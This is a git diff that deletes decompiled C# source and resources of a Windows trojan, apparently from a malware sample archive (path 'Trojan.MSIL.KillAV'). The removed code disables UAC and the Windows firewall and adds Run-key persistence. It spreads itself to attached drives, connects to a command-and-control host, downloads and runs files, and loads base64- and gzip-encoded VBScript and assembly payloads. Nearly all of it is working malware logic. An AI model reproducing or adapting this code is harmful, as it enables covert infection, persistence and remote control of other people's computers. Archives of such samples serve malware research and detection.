- } - try - { - if (Operators.ConditionalCompareObjectEqual(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) null), (object) null, false)) - { - O.FR = Conversions.ToString(MyProject.Computer.Clock.LocalTime) + " >> " + O.ep(); - MyProject.Computer.Registry.ClassesRoot.SetValue("!", (object) O.ENB(ref O.FR)); - } - else - { - string s = Conversions.ToString(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) "*")); - O.FR = O.DEB(ref s); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - O.FR = "*"; - ProjectData.ClearProjectError(); - } - try - { - O.R(); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - O.SU = "*"; - O.mU = "*"; - try - { - NK.Key = "HKEY_CURRENT_USER\\Software\\nKey"; - string[] st = O.ST; - string N = "vname"; - string str = NK.GetValue(ref N, ref O.ST[2]); - st[2] = str; - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - try - { - string str1 = "FT"; - ref string local1 = ref str1; - string str2 = ""; - ref string local2 = ref str2; - if (Operators.CompareString(NK.GetValue(ref local1, ref local2), "", false) == 0) - { - O.Bo[0] = true; - str2 = "FT"; - ref string local3 = ref str2; - string str3 = "&"; - ref string local4 = ref str3; - NK.SetValue(ref local3, ref local4); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - O.cc = 4; - if (O.Bo[6]) - O.B.RunWorkerAsync(); - new Thread(new ThreadStart(O.E)).Start(); - try - { - MyProject.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", (object) 0, RegistryValueKind.DWord); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - O.con(); - while (true) - { - Thread.Sleep(1000); - try - { - checked { ++O.cc; } - checked { ++O.c0; } - if (O.c2 < 5) - checked { ++O.c2; } - if (O.c2 == 5) - { - try - { - Process[] processesByName1 = Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName); - int index1 = 0; - while (index1 < processesByName1.Length) - { - Process process1 = processesByName1[index1]; - try - { - if (FileSystem.FileLen(process1.MainModule.FileName) == FileSystem.FileLen(Process.GetCurrentProcess().MainModule.FileName)) - { - if (process1.Id != Process.GetCurrentProcess().Id) - { - try - { - process1.Kill(); - Process[] processesByName2 = Process.GetProcessesByName("wscript"); - int index2 = 0; - while (index2 < processesByName2.Length) - { - Process process2 = processesByName2[index2]; - try - { - process2.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index2; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index1; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(O.SU, "*", false) != 0) - { - if (O.cc > 4) - { - try - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(O.SU), (object) null, false)) - registryKey.SetValue(O.SU, (object) (O.ep() + " @..")); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(O.SU), (object) null, false)) - registryKey.SetValue(O.SU, (object) O.ep()); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - O.cc = 0; - } - } - if (!O.Bo[5]) - { - try - { - if (O.WC.CNT()) - { - if (O.Bo[4]) - { - if (O.Bo[0] & !O.Bo[2]) - { - O.Bo[2] = true; - string T = "#blue"; - O.SEND(ref T); - } - } - } - else - { - O.Dis(); - O.con(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - O.Dis(); - O.con(); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void con() - { - O.Bo[5] = true; - try - { - O.Bo[3] = false; - if (!O.Bo[1]) - { - O.Bo[1] = true; - try - { - Process.Start(new ProcessStartInfo() - { - FileName = "netsh", - Arguments = "firewall set opmode disable", - CreateNoWindow = true, - WindowStyle = ProcessWindowStyle.Hidden - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - O.WC = new sk(); - O.WC.CN(Strings.Split(O.ST[5], ":")[0], Conversions.ToInteger(Strings.Split(O.ST[5], ":")[1])); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - Thread.Sleep(2000); - O.Bo[5] = false; - } - - public static void Dis() - { - try - { - O.Bo[3] = true; - O.Bo[4] = false; - O.WC.DS(); - O.WC = (sk) null; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void SEND(ref string T) - { - try - { - O.WC.C1(O.WC.STB(T)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void W0() - { - try - { - string T = "#2" + O.ST[1] + O.A0() + O.ST[1] + O.ST[2] + "_."; - O.SEND(ref T); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - string str = "X"; - int num = 0; - do - { - str += "\r\nX"; - checked { ++num; } - } - while (num <= 5); - string T = "#2" + O.ST[1] + str + O.ST[1] + O.ST[2] + "_ "; - O.SEND(ref T); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - O.Bo[4] = true; - Thread.Sleep(100); - O.Bo[3] = false; - } - - public static void W2() - { - O.Bo[3] = true; - O.Bo[4] = false; - } - - public static void W3(byte[] D) => O.WC.AT(D); - - public static string ep() => (AppDomain.CurrentDomain.BaseDirectory + "\\" + AppDomain.CurrentDomain.FriendlyName).Replace("\\\\", "\\"); - - public static string Fp() => AppDomain.CurrentDomain.BaseDirectory; - - public static void ind(byte[] Da) - { - string Expression = O.WC.BTS(Da); - try - { - Array Instance1 = (Array) Strings.Split(Expression, O.ST[1]); - string Left = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 0 - }, (string[]) null).ToString(); - if (Operators.CompareString(Left, "#X", false) == 0) - { - int offset = checked (8 + NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 1) - }, (string[]) null).ToString().Length); - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Da, offset, checked (Da.Length - offset)); - byte[] array = memoryStream.ToArray(); - bool flag = false; - ref bool local = ref flag; - byte[] bytes = O.ZIP(array, ref local); - int num = 0; - do - { - if (File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (O.ST[0] + Conversions.ToString(num) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))))) - { - try - { - File.Delete(Conversions.ToString(Operators.ConcatenateObject((object) (O.ST[0] + Conversions.ToString(num) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)))); - File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (O.ST[0] + Conversions.ToString(num) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))), bytes); - NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1] - { - Operators.ConcatenateObject((object) (O.ST[0] + Conversions.ToString(num) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)) - }, (string[]) null, (Type[]) null, (bool[]) null, true); - break; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++num; } - } - else - { - File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (O.ST[0] + Conversions.ToString(num) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))), bytes); - NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1] - { - Operators.ConcatenateObject((object) (O.ST[0] + Conversions.ToString(num) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)) - }, (string[]) null, (Type[]) null, (bool[]) null, true); - break; - } - } - while (num <= 999); - } - else if (Operators.CompareString(Left, "##", false) == 0) - { - string T = "#Bla"; - O.SEND(ref T); - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Da, 5, checked (Da.Length - 5)); - MyProject.Computer.Registry.CurrentUser.SetValue("p161", (object) memoryStream.ToArray()); - Process.Start(O.ep()); - ProjectData.EndApp(); - } - else if (Operators.CompareString(Left, "#R", false) == 0) - { - string str1 = "vname"; - ref string local1 = ref str1; - Array Instance2 = Instance1; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num = 1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num; - objArray2[0] = (object) local2; - object[] Arguments = objArray1; - string str2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null)); - ref string local3 = ref str2; - NK.SetValue(ref local1, ref local3); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num, - (object) str2 - }, (string[]) null, true, false); - O.ST[2] = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)); - string T = "#R" + O.ST[1] + O.ST[2]; - O.SEND(ref T); - } - else if (Operators.CompareString(Left, "p", false) == 0) - { - string T = "p"; - O.SEND(ref T); - } - else if (Operators.CompareString(Left, "#2", false) == 0) - { - string str = "." + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), ".")[checked (Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 1) - }, (string[]) null)), ".").Length - 1)]; - int num1 = 0; - while (File.Exists(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num1) + str)) - { - try - { - File.Delete(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num1) + str); - int num2; - checked { ++num2; } - if (num2 > 5) - return; - continue; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++num1; } - if (num1 > 9999) - return; - } - string fileName = Interaction.Environ("appdata") + "\\" + Conversions.ToString(num1) + str; - Network network = MyProject.Computer.Network; - object[] objArray3 = new object[2]; - object[] objArray4 = objArray3; - Array Instance3 = Instance1; - object[] objArray5 = new object[1]; - object[] objArray6 = objArray5; - int num3 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num3; - objArray6[0] = (object) local; - object[] Arguments1 = objArray5; - object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance3, Arguments1, (string[]) null)); - objArray4[0] = objectValue; - objArray3[1] = (object) fileName; - object[] objArray7 = objArray3; - object[] Arguments2 = objArray7; - bool[] flagArray = new bool[2]{ true, true }; - bool[] CopyBack = flagArray; - NewLateBinding.LateCall((object) network, (Type) null, "DownloadFile", Arguments2, (string[]) null, (Type[]) null, CopyBack, true); - if (flagArray[0]) - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num3, - RuntimeHelpers.GetObjectValue(objArray7[0]) - }, (string[]) null, true, false); - if (flagArray[1]) - fileName = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray7[1]), typeof (string)); - Process.Start(fileName); - } - else if (Operators.CompareString(Left, "#4", false) == 0) - { - try - { - O.B.Dispose(); - O.fj.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (O.Bo[6]) - { - try - { - Process[] processesByName = Process.GetProcessesByName("wscript"); - int index = 0; - while (index < processesByName.Length) - { - Process process = processesByName[index]; - try - { - process.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), (object) "!", false)) - { - NK.CLEAR(); - try - { - DriveInfo[] drives = DriveInfo.GetDrives(); - int index = 0; - while (index < drives.Length) - { - DriveInfo driveInfo = drives[index]; - if (driveInfo.IsReady) - { - if (driveInfo.TotalFreeSpace > 0L) - { - try - { - if (File.Exists(driveInfo.Name + O.Uo)) - File.Delete(driveInfo.Name + O.Uo); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - checked { ++index; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - File.WriteAllText(O.Fp() + "\\j.vbs", O.DEB(ref nv.My.Resources.Resources.Q.Split('.')[1]).Replace("NJ", O.ep())); - Process.Start(O.Fp() + "\\j.vbs"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - ProjectData.EndApp(); - } - else if (Operators.CompareString(Left, "#6", false) == 0) - { - try - { - O.B.Dispose(); - if (O.fj.Id > 1) - O.fj.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - Process.Start(O.ep()); - ProjectData.EndApp(); - } - else - { - if (Operators.CompareString(Left, "#29", false) != 0) - return; - string T = "#Bla"; - O.SEND(ref T); - int num = 0; - string str; - while (File.Exists(O.ST[0] + Conversions.ToString(num) + ".exe")) - { - try - { - File.Delete(O.ST[0] + Conversions.ToString(num) + ".exe"); - str = O.ST[0] + Conversions.ToString(num) + ".exe"; - goto label_64; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++num; } - if (num > 999) - goto label_64; - } - str = O.ST[0] + Conversions.ToString(num) + ".exe"; -label_64: - string path = str; - byte[] B = O.FDE(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - bool flag = false; - ref bool local = ref flag; - byte[] bytes = O.ZIP(B, ref local); - File.WriteAllBytes(path, bytes); - Process.Start(new ProcessStartInfo() - { - FileName = str, - Arguments = "!0@" + O.ep() + "@" + O.SU + "@" + Conversions.ToString(Process.GetCurrentProcess().Id) - }); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - string[] strArray1 = new string[6] - { - "#10", - O.ST[1], - "^", - Conversions.ToString(0), - O.ST[1], - null - }; - string[] strArray2 = strArray1; - string message = exception.Message; - string str = O.ENB(ref message); - strArray2[5] = str; - string T = string.Concat(strArray1); - O.SEND(ref T); - ProjectData.ClearProjectError(); - } - } - - public static BackgroundWorker B - { - get => O._B; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - DoWorkEventHandler workEventHandler = (DoWorkEventHandler) ((a0, a1) => O.D()); - if (O._B != null) - O._B.DoWork -= workEventHandler; - O._B = value; - if (O._B == null) - return; - O._B.DoWork += workEventHandler; - } - } - - public static void D() - { - byte[] p = nv.My.Resources.Resources.P; - bool flag = false; - ref bool local1 = ref flag; - byte[] numArray = O.ZIP(p, ref local1); -label_1: - try - { - File.WriteAllText(O.u, O.z); - O.fj.StartInfo.FileName = O.u; - O.fj.Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_4: - try - { - ref byte[] local2 = ref numArray; - string str1 = "P.V"; - ref string local3 = ref str1; - string str2 = "FWD"; - ref string local4 = ref str2; - object obj1 = (object) new object[1] - { - (object) "Windows Script Host" - }; - ref object local5 = ref obj1; - int integer = Conversions.ToInteger(O.inv(ref local2, ref local3, ref local4, ref local5)); - ref byte[] local6 = ref numArray; - string str3 = "P.V"; - ref string local7 = ref str3; - string str4 = "Iswd"; - ref string local8 = ref str4; - object obj2 = (object) new object[1] - { - (object) integer - }; - ref object local9 = ref obj2; - if (Operators.ConditionalCompareObjectEqual(O.inv(ref local6, ref local7, ref local8, ref local9), (object) 1, false)) - { - try - { - O.fj.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - Thread.Sleep(100); - try - { - if (!O.fj.WaitForExit(100)) - goto label_4; - else - goto label_1; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void USb(string S) - { - while (true) - { - Thread.Sleep(5000); - try - { - DriveInfo[] drives = DriveInfo.GetDrives(); - int index = 0; - while (index < drives.Length) - { - DriveInfo driveInfo = drives[index]; - if (driveInfo.IsReady) - { - if (driveInfo.TotalFreeSpace > 0L) - { - try - { - File.Copy(O.ep(), driveInfo.Name + S, true); - File.SetAttributes(driveInfo.Name + S, FileAttributes.Normal); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - checked { ++index; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static object inv(ref byte[] F, ref string C, ref string S, ref object P) - { - Assembly assembly = Assembly.Load(F); - return assembly.GetType(C).GetMethod(S).Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Activator.CreateInstance(assembly.GetType(C)))), (object[]) P); - } - - public static byte[] ZIP(byte[] B, ref bool CM) - { - if (CM) - { - MemoryStream memoryStream = new MemoryStream(); - GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Compress, true); - gzipStream.Write(B, 0, B.Length); - gzipStream.Dispose(); - memoryStream.Position = 0L; - byte[] buffer = new byte[checked ((int) memoryStream.Length + 1)]; - memoryStream.Read(buffer, 0, buffer.Length); - memoryStream.Dispose(); - return buffer; - } - MemoryStream memoryStream1 = new MemoryStream(B); - GZipStream gzipStream1 = new GZipStream((Stream) memoryStream1, CompressionMode.Decompress); - byte[] buffer1 = new byte[4]; - memoryStream1.Position = checked (memoryStream1.Length - 5L); - memoryStream1.Read(buffer1, 0, 4); - int int32 = BitConverter.ToInt32(buffer1, 0); - memoryStream1.Position = 0L; - byte[] array = new byte[checked (int32 - 1 + 1)]; - gzipStream1.Read(array, 0, int32); - gzipStream1.Dispose(); - memoryStream1.Dispose(); - return array; - } - - public static byte[] FDE(string B) => Convert.FromBase64String(B); - - public static string ENB(ref string s) => Convert.ToBase64String(Encoding.UTF8.GetBytes(s)); - - public static string DEB(ref string s) => Encoding.UTF8.GetString(Convert.FromBase64String(s)); - - [DllImport("kernel32.dll")] - private static extern int GetLocaleInfo( - uint Locale, - uint LCType, - [Out] StringBuilder lpLCData, - int cchData); - - private static string Gcc(uint lInfo) - { - StringBuilder lpLCData = new StringBuilder(256); - int localeInfo = O.GetLocaleInfo(1024U, lInfo, lpLCData, lpLCData.Capacity); - return localeInfo > 0 ? lpLCData.ToString().Substring(0, checked (localeInfo - 1)) : string.Empty; - } - - public static string Gc() => O.Gcc(7U); - - public static string A0() - { - RegistryProxy registry = MyProject.Computer.Registry; - string str1 = O.ST[3] + "\r\n"; - string str2; - try - { - str2 = str1 + O.Gc() + "\r\n"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str2 = str1 + "X\r\n"; - ProjectData.ClearProjectError(); - } - string str3; - try - { - str3 = str2 + MyProject.Computer.Info.OSFullName + "\r\n"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str3 = str2 + "X\r\n"; - ProjectData.ClearProjectError(); - } - string Expression = str3 + "..\r\n" + O.ST[4]; - string str4; - try - { - str4 = Strings.Replace(Strings.Replace(Strings.Replace(Expression, "Microsoft", ""), "Windows", "Win").Replace("®", "").Replace("™", ""), " ", " "); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str4 = Expression + "X\r\n"; - ProjectData.ClearProjectError(); - } - return str4 + "\r\n \r\nNo Plugin"; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/Resources.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/Resources.resx deleted file mode 100644 index b77ef57d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/Resources.resx +++ /dev/null @@ -1,238 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - b24gZXJyb3IgcmVzdW1lIG5leHQNCmtrDQpzZXQgdHQgPSBnZXRvYmplY3QoIndpbm1nbXRzOiIpDQpEaW0gRg0KRGltIFANCkYgPSAiTkpQIg0KUCA9IE5KRg0Kc2V0IG5qbj0gY3JlYXRlb2JqZWN0KCJ3c2NyaXB0LnNoZWxsIikNCkRvIFVudGlsIDE9Mg0KV1NjcmlwdC5TbGVlcCAyMDAwDQpwcA0KbG9vcA0Kc3ViIHBwDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KZm9yIGVhY2ggUHJvY2VzcyBpbiB0dC5JbnN0YW5jZXNPZigiV2luMzJfcHJvY2VzcyIpDQppZiBQcm9jZXNzLnByb2Nlc3NpZCA9IHAgdGhlbg0KZXhpdCBzdWINCmVuZCBpZg0KTmV4dA0KbmpuLnJ1bihmKQ0KV1NjcmlwdC5RdWl0DQplbmQgc3ViDQpzdWIga2sNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQpTZXQgZnNvID0gQ3JlYXRlT2JqZWN0KCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpDQpTZXQgYUZpbGUgPSBmc28uR2V0RmlsZShXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lKQ0KYUZpbGUuRGVsZXRlDQplbmQgc3Vi.b24gZXJyb3IgcmVzdW1lIG5leHQNCnNldCB0dCA9IGdldG9iamVjdCgid2lubWdtdHM6IikNCkRpbSBGDQpGID0gIk5KIg0KV1NjcmlwdC5TbGVlcCAyMDAwDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KU2V0IGZzbyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IGFGaWxlID0gZnNvLkdldEZpbGUoV1NjcmlwdC5TY3JpcHRGdWxsTmFtZSkNCmFGaWxlLkRlbGV0ZQ0Kc2V0IGFmID0gZnNvLkdldEZpbGUoRikNCmFmLmRlbGV0ZQ== - - - - - H4sIAAAAAAAEAO29B2AcSZYlJi9tynt/SvVK1+B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjKasqgcplVmVd - ZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/Ir74qT/p1/i1f41f - 49f4dej///f//Wv8Gn/XryHP76k/Nz1/EP3/N/ld/p7f5Nf4237sn/9d/65f8/k//7u+mRdNuqqrizpb - pNNsuazadJKn9XqZFsv06Zev00U1y8e/8W+c/G4K4+Xpr/FrPP81f+1fY/t//vO+MHD/o1/j1/pdf8Nf - 8zf4NX6NnV9DEKNn+YL+Sen/fwD++j3l91/Lfm1//hp/kXz+a/CP3/MP/zV+jd+M/+d+2h/8/FYE97v4 - 5Q8IP7fPH/Rr/Bq/Uezzm5701/g1fgPvz9+A/v629/e4zd+19LMdS1seq+JtHvr4DxjXTT39NRS3P0Db - 7IXtfk/637jOy2qquP5B2m6/1+5J+AnR/4X8/PavgVd+3V/j13hENPmtfo1f49fsNrzl8wt+mz+IXv11 - vvVb7vw6AAU4v/mvtUUclvxaP5PQF7/Nb7P16+CP3/6Pp79+zeTX+21qarH6S36937b+Xfnnb1ff55+/ - 5DcGlF/j1/gtd36tX+PVr8HD+c0b+ufX+42a34n+/Y1/7Df4JYTlr/Njv/v/9ev/zvR3Q5gnza9H/yS/ - 3q9X/fr08zegb34DfPMb4Jsfo39+w1+/oj6TT36933brN6Sfv+32r1T4BAgy8Jv/Vr/hb/Fr/tpbRMFf - D/8kySe/xq9H4/g1f43f5Ndg/vrNf+3v/DSQ//V+mr/5NX6N33Hn1/41/mL6jvr+zbcI3+S3/HV/m9/y - 1/lk8Zv/ur/5r/PnJL9Lwt38Wr8YI/ktf/3f5rf89T45/c1//d/81/tzfsNfryKISfWb0j+/Pv/722z9 - Zvj33u/y61W/Of3yO9yjMfwW9Mt/8Jv87lu/Jf38jbZ+K/z1a/zmv95v+2/8lr/eb/7r/ea//p/wd+79 - rb/5r0N//Tq/+a/zm/+69Ncfa9r+xto2/aPoL8bg4A/4v//v//tbmIvfDjP07Nf4zb/7a/wmv6lO8R/6 - h8rvv+POr/9r/C1ENyLhb/5LMYOjX/fgL6e/01/+ayqYLcLo10t+q9/yt/gtfouahHb1W/6Wv8Vv6YjF - hPlt/69fs/5j6aut3xrD+XOq34Z+/Fa/5W/1W/xW8sJv/Vv81vLCb0uf//4P/3fq/rf6LX+b3+K3kW9/ - 29/it+Vvf8Pf4tf6v35rgvZr/fq/xa+1ReT49X7hr2Ub/Hq/7R9P6Pyav+Xv8Jv/Dr/Nb/9b/va/+W// - x9Egf82/5Df/HX6rrd8OSPz2mASC+Dszd/2Wv91v/tv9Nr/Fr/WLibi/ztbvQF/9Jb/5b/fb1n8u+Os3 - /+1+O/rit/C++O3NF78DffGbe1/8juaL34m++C29L7Z+R/rJX/7Wv83W74Sef6ff4ncCi/16v95vJ2j+ - jr/57/jbWBx/x9/2N/9t6N/f6rf9bbZ+Z29uzXz9Vhhf/RdioDSALmF/z/+DiUUUlCZEU27yW/46v8Wv - K9T6zek3Q66/sEMu4OGT63fcQK5fd4hcv+4QuX7dIXL9uu9JLsyqm1Im1+9gyCXk+advJs8/HZDn1/st - fn0lD/1myPNPfwB5fv0h8vz6Q+T59YfI8+t/4+T5LwfIQ2L5a/+aXbEEsf5Ln1gqlkJKEm75lsRdSPkb - /BY/pqSk3wwp/8sPIOWPDZHyx4ZI+WNDpPyxb5CU/8FvKoL5WyaBZP7mv+YgbT+P0pZfGKQtf2tp+xv+ - Fr+R0pZ+M7TlJl+Ttr/REG1/oyHa/kZDtP2NfjZoG2q933+Atp5Y//4+NX/L3+S3+E2VXvSbodfv/wH0 - +k2H6PWbDtHrNx2i12/6s0Gv30zpZT/4zfWDgy//Nzbux+9+DX6oi1/j9yK4F/R/+C3Gzv+tv/av8Wt8 - gd9+Xf7Mfv6b/rry+e/764Wfv6W/f1f67Y/79cPPib9/jT+SPvvzvc9/y51f79f4+8nL+fXhB/0CQiv5 - tV/+lr/Jb/6b8Iyob/N7/v30+q/7UqfmN/3Nf9Pf5rfRIf+mOi2/C/1jG/xmv/lv9tv8ttrgN/Ma/Ja/ - +W90cO5D+i1+89/it/nttOFvIQ3TEfDGR1tpD/Bv+Zv/lr+NIfZv6QP+rX7jg1+TWvwWv/Vv8GPsof7m - v/XW74ovfwu4JL++97ZBS9/WQX5Ev5pWwMn0oTjVf7ZttfXj+Od3o39Gv9Vv99v8Nr/Nbwvv+Nf7Hexv - H97Xvxzr68djfXlO4q+if3/sd/w3fuMf+81/q6Nf+X/93//3b/A7/hu/0W/wm//mR38K/X7wb9CXNJ+/ - uTefv5K6/7V+cQJWvx2dfvNb4f5vxnD/3X4tZqtfgt5iwzh4/Bt6LIHODXP5UxzwjMHO8Myf8WsYnvnd - LUuQM3/wa/nMBq40CCtX/i6zzlsBj5vGPo//lr/tb/nrHvy5vwZYDb77+zHbzyYRf+WP0ST/ur9L8m/8 - lr8uRTC/7dHvS2HDb/7r4G8EGb/N0a8AJ/xzP8acAIfccMLv9mu9HyewAq7/Q8bxF9KvZEL9wXRmJtL6 - 9x/dv2Esv8uMmbr+72GZP6bfDn6HH/tADulN9G/52/2Wv97B79BlD6OLfKW1iSX6YH/73/LXP/hbhT0o - 0Hsv9vg5oew/BLX/64NNfn0Kb3/7o6dgm18PfyNS/e2O/n2wzZ/+6zPb/Jce27y3Avk/b8X7//fX4v1f - /et9IHtEFcjv8Fv+Bj8bCuR3/C1/zCiQ3+A3f09r9bNJxL8DiZAfw8z/2G/+Y7/57ygK5DfA378BIfo7 - iAL5Y39d5oS/0OOE//F9OUFe/tkZxP/86/xscMLv9FsmB//7r7FZV6T/lH0xvT0z/M6/5W948CcJMyS/ - +W/4fszwAXT87aPE+9vo39/8N8SM/4a/+W/4m//ORxfggAR/J4Td73T0f4ID/uhfmzngn/Y44PLXfk8O - +KdvhXnHETJNf7O+cxkBGKF4/Rv/WiEptiw9buSrP/vX+tngq1/wW/5GBzs+5G+Mr36X3/I3Pvgnfk3m - 